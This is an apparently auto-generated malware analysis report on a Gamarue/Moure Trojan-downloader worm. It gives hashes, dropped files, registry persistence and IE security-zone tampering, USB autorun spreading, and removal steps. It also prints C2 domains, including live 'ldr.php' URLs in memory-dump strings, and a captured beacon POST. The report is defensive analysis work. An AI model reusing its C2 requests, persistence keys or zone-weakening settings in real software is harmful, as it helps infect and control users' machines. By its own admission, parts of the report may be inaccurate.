Trojan-Dropper.Win32.Injector.izjp (Kaspersky), Trojan.Gamarue.AP (B) (Emsisoft), Trojan.Gamarue.AP (AdAware), Trojan-Downloader.Win32.Moure.FD, Trojan.Win32.Swrort.3.FD, GenericAutorunWorm.YR (Lavasoft MAS)Behaviour: Trojan-Dropper, Trojan-Downloader, Trojan, Worm, WormAutorun
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: f70fbe6c89748e86ad79135dbc12e23f
SHA1: d9e90a81d64b762bbc5c7ca25b0d6b29d9018be9
SHA256: d473e5e45bcb8428b735e13b254fc6fb2d0a7909b7bf0b6099fb0462816a01a1
SSDeep: 12288:6xG8wgVFzxyQfwLVmuDqE871hkgQuoWiM/lM0v/CMigk:6rnFzUKwxmmc7HQfe/lM03Cwk
Size: 452096 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Rightapp software
Created at: 2010-05-05 11:46:42
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.
Dynamic Analysis
Payload
Behaviour | Description |
---|---|
WormAutorun | A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan-Downloader's file once a user opens a drive's folder in Windows Explorer. |
Process activity
The Trojan-Downloader creates the following process(es):
%original file name%.exe:61084
%original file name%.exe:1144
The Trojan-Downloader injects its code into the following process(es):
wuauclt.exe:58692
File activity
The process %original file name%.exe:61084 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (283 bytes)
The Trojan-Downloader deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (0 bytes)
The process wuauclt.exe:58692 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Local Settings\Temp\ccoywyxzc.exe (5128 bytes)
Registry activity
The process %original file name%.exe:61084 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E7 FC 26 3D BB F3 93 BC 13 B6 D5 86 42 06 CF 5F"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software]
"ImageBase" = "C6 D5 83 73 0C 73 73 73 0F 73 73 73 70 70 73 73"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_install_]
"msiexec.exe" = "msiexec"
[HKLM\SOFTWARE\Microsoft]
"0000000B" = "50 4B 03 04 00 EA 00 00 7F 71 00 00 5D 38 4C 8A"
The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"
The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The process %original file name%.exe:1144 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A BD 09 9D 6A D2 48 FC 20 2A BB 8D BD 20 54 F1"
The process wuauclt.exe:58692 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 14 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software]
"IMAGE_FILE_HEADER" = "73 60 36 C6 B9 C6 C6 C6 BA C6 C6 C6 C5 C5 C6 C6"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 47 50 86 05 59 04 7C A5 12 59 98 6C FA 55 0D"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run]
"31269" = "C:\DOCUME~1\ALLUSE~1\LOCALS~1\Temp\ccoywyxzc.exe"
The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan-Downloader deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
d47f069cd335095c3c2e1ee3d165dd33 | c:\Documents and Settings\All Users\Local Settings\Temp\ccoywyxzc.exe |
d47f069cd335095c3c2e1ee3d165dd33 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\_install_\msiexec.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan-Downloader's file once a user opens a drive's folder in Windows Explorer.
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:61084
%original file name%.exe:1144 - Delete the original Trojan-Downloader file.
- Delete or disinfect the following files created/modified by the Trojan-Downloader:
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (283 bytes)
%Documents and Settings%\All Users\Local Settings\Temp\ccoywyxzc.exe (5128 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: Hause
Product Name: Hunpe
Product Version: 3, 0, 0, 0
Legal Copyright: Copyright Radume(c) 2013
Legal Trademarks: Gioka(c)
Original Filename: Zoda
Internal Name: Zravka
File Version: 1, 3, 4, 7
File Description: Darko
Comments: Preshin
Language: English (United States)
Company Name: HauseProduct Name: HunpeProduct Version: 3, 0, 0, 0Legal Copyright: Copyright Radume(c) 2013Legal Trademarks: Gioka(c)Original Filename: ZodaInternal Name: ZravkaFile Version: 1, 3, 4, 7File Description: DarkoComments: PreshinLanguage: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
UPX0 | 4096 | 3268608 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
UPX1 | 3272704 | 413696 | 412672 | 5.35087 | 9ad545846b364adfe189b2df700d6ef1 |
.rsrc | 3686400 | 40960 | 38400 | 5.04535 | 864b434f8ae66f8ce9b29da617cc6daa |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 4
9044b29db6caeb6b0ffe75fa67816da9
59a43bf2acf2f4d39ab14aaf61dcba36
722680646250d9ed099fc6f625b5f388
0b9bb9eab4bdddc4eb80bb23b803a24c
Network Activity
URLs
URL | IP |
---|---|
hxxp://a.sobea.in/uzdquzdhlptylptycgkosgkosxbfjnbk | 50.116.32.177 |
hxxp://hzmksreiuojy.biz/ldr.php | 50.63.202.66 |
www.update.microsoft.com | 207.46.201.122 |
hzmksreiuojy.in | |
hzmksreiuojy.com | |
hzmksreiuojy.nl | |
hzmksreiuojy.ru |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.biz
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33Mx0PLwog9mY3qw==
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 04 May 2014 04:06:51 GMT
Content-Length: 326
Age: 1
Connection: close
<!DOCTYPE html><body style="padding:0; margin:0;"><iframe src="hXXp://mcc.godaddy.com/park/qJ16rTMypaMbLaqfYz92oD==?=404;http://hzmksreiuojy.biz:80/ldr.php" style="visibility: visible;height: 2000px;" allowtransparency="true" marginheight="0" marginwidth="0" frameborder="0" scrolling="no" width="100%"></iframe></body></html>..
Map
Strings from Dumps
wuauclt.exe_58692:
.text
.text
`.data
`.data
.rsrc
.rsrc
@.reloc
@.reloc
wuauclt.pdb
wuauclt.pdb
GetProcessHeap
GetProcessHeap
KERNEL32.dll
KERNEL32.dll
_wcmdln
_wcmdln
_amsg_exit
_amsg_exit
msvcrt.dll
msvcrt.dll
ntdll.dll
ntdll.dll
ole32.dll
ole32.dll
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
RegCreateKeyExW
RegCreateKeyExW
ADVAPI32.dll
ADVAPI32.dll
USER32.dll
USER32.dll
OLEAUT32.dll
OLEAUT32.dll
SHLWAPI.dll
SHLWAPI.dll
zcÁ
zcÁ
version="6.0.0.0"
version="6.0.0.0"
name="Microsoft.Windows.windowsupdate.wuauclt"
name="Microsoft.Windows.windowsupdate.wuauclt"
<windowsSettings></windowsSettings>
<windowsSettings></windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
<requestedExecutionLevel><pre>wuaueng.dll</pre><pre>Error: 0xx. wuauclt handler: failed to spawn COM server</pre><pre>Error: 0xx. wuauclt handler: failed to load wuaueng</pre><pre>/ReportNow</pre><pre>/ShowWindowsUpdate</pre><pre>/CloseWindowsUpdate</pre><pre>wuauclt.exe failed to get proc address for UI export object with error %#lx</pre><pre>Failed to load %s with error %X</pre><pre>wucltui.dll</pre><pre>wucltux.dll</pre><pre>call RunAUClientUI on wucltui.dll/wucltux.dll</pre><pre>Ntdll.dll</pre><pre>WuSqm %ls session datapoint (id:%d) is incremented with dword %d.</pre><pre>wuauclt.exe is exiting with code 0xX</pre><pre>wuauclt.exe launched with command line %s</pre><pre>kernel32.dll</pre><pre>WUWeb</pre><pre>Report</pre><pre>7.6.7600.256</pre><pre>Global\WindowsUpdateTracingMutex</pre><pre>WindowsUpdate.log</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace</pre><pre>Windows</pre><pre>shell32.dll</pre><pre>%s: %s [</pre><pre>%s: %s</pre><pre>%s\%s</pre><pre>= Module: %s</pre><pre>= Module: <failed with %d></failed></pre><pre>= Process: %s</pre><pre>= Process: <failed with %d></failed></pre><pre>=========== Logging initialized (build: %s, tz: %s) ===========</pre><pre>wups2.dll</pre><pre>wups.dll</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\</pre><pre>%hs %ls page "%ls", hr=%X</pre><pre>Microsoft.WindowsUpdate</pre><pre>wupdmgr.exe</pre><pre>Failed to cocreate IShellWindows, error = 0xlX</pre><pre>Failed to obtain window doc for window %d, error = 0xlX</pre><pre>Failed to obtain folder view for window %d, error = 0xlX</pre><pre>Failed to obtain folder IPersist for window %d, error = 0xlX</pre><pre>Window %d is NOT a WU window</pre><pre>Done enumerating windows</pre><pre>Quit for window %d failed: 0xlX</pre><pre>Window %d is a WU window. Attempting to close</pre><pre>Failed to obtain class ID for window %d, error = 0xlX</pre><pre>Got NULL disp interface for window %d</pre><pre>Got %d instead of VT_DISPATCH for window %d</pre><pre>Failed to obtain IWebBrowserApp for window %d, error = 0xlX</pre><pre>Failed to enumerate window %d, error = 0xlX</pre><pre>Found %d explorer windows</pre><pre>Closing WU explorer windows</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData</pre><pre>WUAppNotificationWindows</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\</pre><pre>%chdhd</pre><pre>hd-hd-hd%chd:hd:hd:hd</pre><pre>Windows Update</pre><pre>7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)</pre><pre>wuauclt.exe</pre><pre>Windows</pre><pre>Operating System</pre><b>wuauclt.exe_58692_rwx_000A0000_00009000:</b><pre>.code</pre><pre>.import</pre><pre>NtDelayExecution</pre><pre>ntdll.dll</pre><pre>GetWindowsDirectoryW</pre><pre>kernel32.dll</pre><pre>software\microsoft\windows nt\currentversion\windows</pre><pre>software\microsoft\windows\currentversion\Policies\Explorer\Run</pre><pre>ccX.dat</pre><pre>http://8.8.8.8/xxxxxxxxx.php</pre><pre>http://hzmksreiuojy.in/ldr.php</pre><pre>http://hzmksreiuojy.ru/ldr.php</pre><pre>http://hzmksreiuojy.com/ldr.php</pre><pre>http://hzmksreiuojy.biz/ldr.php</pre><pre>http://hzmksreiuojy.nl/ldr.php</pre><pre>POST /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: Mozilla/4.0</pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>Content-Length: %d</pre><pre>GET /%s HTTP/1.0</pre><pre>www.update.microsoft.com</pre><pre>GetProcessHeap</pre><pre>ws2_32.dll</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>RegSetKeySecurity</pre><pre>advapi32.dll</pre><pre>user32.dll</pre><pre>dnsapi.dll</pre><pre>KERNEL32.DLL</pre><pre>\system32\wuauclt.exe</pre><pre>\syswow64\svchost.exe</pre><pre>4%userprofile%</pre><pre>%s\cc%s.%s</pre><pre>)X</pre><pre>x.exe</pre><b>wuauclt.exe_58692_rwx_003B0000_00005000:</b><pre>software\microsoft\windows nt\currentversion\windows</pre><pre>software\microsoft\windows\currentversion\Policies\Explorer\Run</pre><pre>ccX.dat</pre><pre>http://8.8.8.8/xxxxxxxxx.php</pre><pre>http://hzmksreiuojy.in/ldr.php</pre><pre>http://hzmksreiuojy.ru/ldr.php</pre><pre>http://hzmksreiuojy.com/ldr.php</pre><pre>http://hzmksreiuojy.biz/ldr.php</pre><pre>http://hzmksreiuojy.nl/ldr.php</pre><pre>POST /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: Mozilla/4.0</pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>Content-Length: %d</pre><pre>GET /%s HTTP/1.0</pre><pre>www.update.microsoft.com</pre><pre>NtDelayExecution</pre><pre>ntdll.dll</pre><pre>GetProcessHeap</pre><pre>kernel32.dll</pre><pre>ws2_32.dll</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>RegSetKeySecurity</pre><pre>advapi32.dll</pre><pre>user32.dll</pre><pre>dnsapi.dll</pre><pre>4%userprofile%</pre><pre>%s\cc%s.%s</pre><pre>)X</pre><pre>x.exe</pre><b>wuauclt.exe_58692_rwx_00400000_0000E000:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>wuauclt.pdb</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>_wcmdln</pre><pre>_amsg_exit</pre><pre>msvcrt.dll</pre><pre>ntdll.dll</pre><pre>ole32.dll</pre><pre>RegCloseKey</pre><pre>RegOpenKeyExW</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>USER32.dll</pre><pre>OLEAUT32.dll</pre><pre>SHLWAPI.dll</pre><pre>zcÁ</pre><pre>version="6.0.0.0"</pre><pre>name="Microsoft.Windows.windowsupdate.wuauclt"</pre><pre><windowsSettings></windowsSettings></pre><pre><dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware></pre><pre></pre><pre>name="Microsoft.Windows.Common-Controls"</pre><pre>publicKeyToken="6595b64144ccf1df"</pre><pre><requestedExecutionLevel><pre>wuaueng.dll</pre><pre>Error: 0xx. wuauclt handler: failed to spawn COM server</pre><pre>Error: 0xx. wuauclt handler: failed to load wuaueng</pre><pre>/ReportNow</pre><pre>/ShowWindowsUpdate</pre><pre>/CloseWindowsUpdate</pre><pre>wuauclt.exe failed to get proc address for UI export object with error %#lx</pre><pre>Failed to load %s with error %X</pre><pre>wucltui.dll</pre><pre>wucltux.dll</pre><pre>call RunAUClientUI on wucltui.dll/wucltux.dll</pre><pre>Ntdll.dll</pre><pre>WuSqm %ls session datapoint (id:%d) is incremented with dword %d.</pre><pre>wuauclt.exe is exiting with code 0xX</pre><pre>wuauclt.exe launched with command line %s</pre><pre>kernel32.dll</pre><pre>WUWeb</pre><pre>Report</pre><pre>7.6.7600.256</pre><pre>Global\WindowsUpdateTracingMutex</pre><pre>WindowsUpdate.log</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace</pre><pre>Windows</pre><pre>shell32.dll</pre><pre>%s: %s [</pre><pre>%s: %s</pre><pre>%s\%s</pre><pre>= Module: %s</pre><pre>= Module: <failed with %d></failed></pre><pre>= Process: %s</pre><pre>= Process: <failed with %d></failed></pre><pre>=========== Logging initialized (build: %s, tz: %s) ===========</pre><pre>wups2.dll</pre><pre>wups.dll</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\</pre><pre>%hs %ls page "%ls", hr=%X</pre><pre>Microsoft.WindowsUpdate</pre><pre>wupdmgr.exe</pre><pre>Failed to cocreate IShellWindows, error = 0xlX</pre><pre>Failed to obtain window doc for window %d, error = 0xlX</pre><pre>Failed to obtain folder view for window %d, error = 0xlX</pre><pre>Failed to obtain folder IPersist for window %d, error = 0xlX</pre><pre>Window %d is NOT a WU window</pre><pre>Done enumerating windows</pre><pre>Quit for window %d failed: 0xlX</pre><pre>Window %d is a WU window. Attempting to close</pre><pre>Failed to obtain class ID for window %d, error = 0xlX</pre><pre>Got NULL disp interface for window %d</pre><pre>Got %d instead of VT_DISPATCH for window %d</pre><pre>Failed to obtain IWebBrowserApp for window %d, error = 0xlX</pre><pre>Failed to enumerate window %d, error = 0xlX</pre><pre>Found %d explorer windows</pre><pre>Closing WU explorer windows</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData</pre><pre>WUAppNotificationWindows</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\</pre><pre>%chdhd</pre><pre>hd-hd-hd%chd:hd:hd:hd</pre><pre>Windows Update</pre><pre>7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)</pre><pre>wuauclt.exe</pre><pre>Windows</pre><pre>Operating System</pre><b>wuauclt.exe_58692_rwx_00900000_00013000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>GetProcessWindowStation</pre><pre>T:\ldr\CUSTOM\local\Worm65.DLL.PnP\Release\Worm65.DLL.pdb</pre><pre>URLDownloadToFileW</pre><pre>urlmon.dll</pre><pre>KERNEL32.dll</pre><pre>keybd_event</pre><pre>USER32.dll</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>GetCPInfo</pre><pre>Worm65.DLL.dll</pre><pre>[.ShellClassInfo]</pre><pre>IconResource=%systemroot%\system32\SHELL32.dll,7</pre><pre>IconFile=%SystemRoot%\system32\SHELL32.dll</pre><pre>%System%\wuauclt.exe</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre>nKERNEL32.DLL</pre><pre>mscoree.dll</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>WUSER32.DLL</pre><pre>http://a.sobea.in/</pre><pre>http://b.sobea.in/</pre><pre>http://c.sobea.in/</pre><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</pre><pre>%s\%s</pre><pre>%s.exe</pre><pre>Thumbs.db</pre><pre>desktop.ini</pre><pre>autorun.inf</pre><pre>Wkernel32.dll</pre><pre>%s\desktop.ini</pre><pre>%s\_W%s.init</pre><pre>%s\Thumbs.db</pre><pre>_W%s.init,krnl %s %s</pre><pre>%s\Removable Disk (%dGB).lnk</pre><pre>shell32.dll</pre><pre>%s\%s (%dGB).lnk</pre><pre>%sautorun.inf</pre></requestedExecutionLevel></pre></requestedExecutionLevel>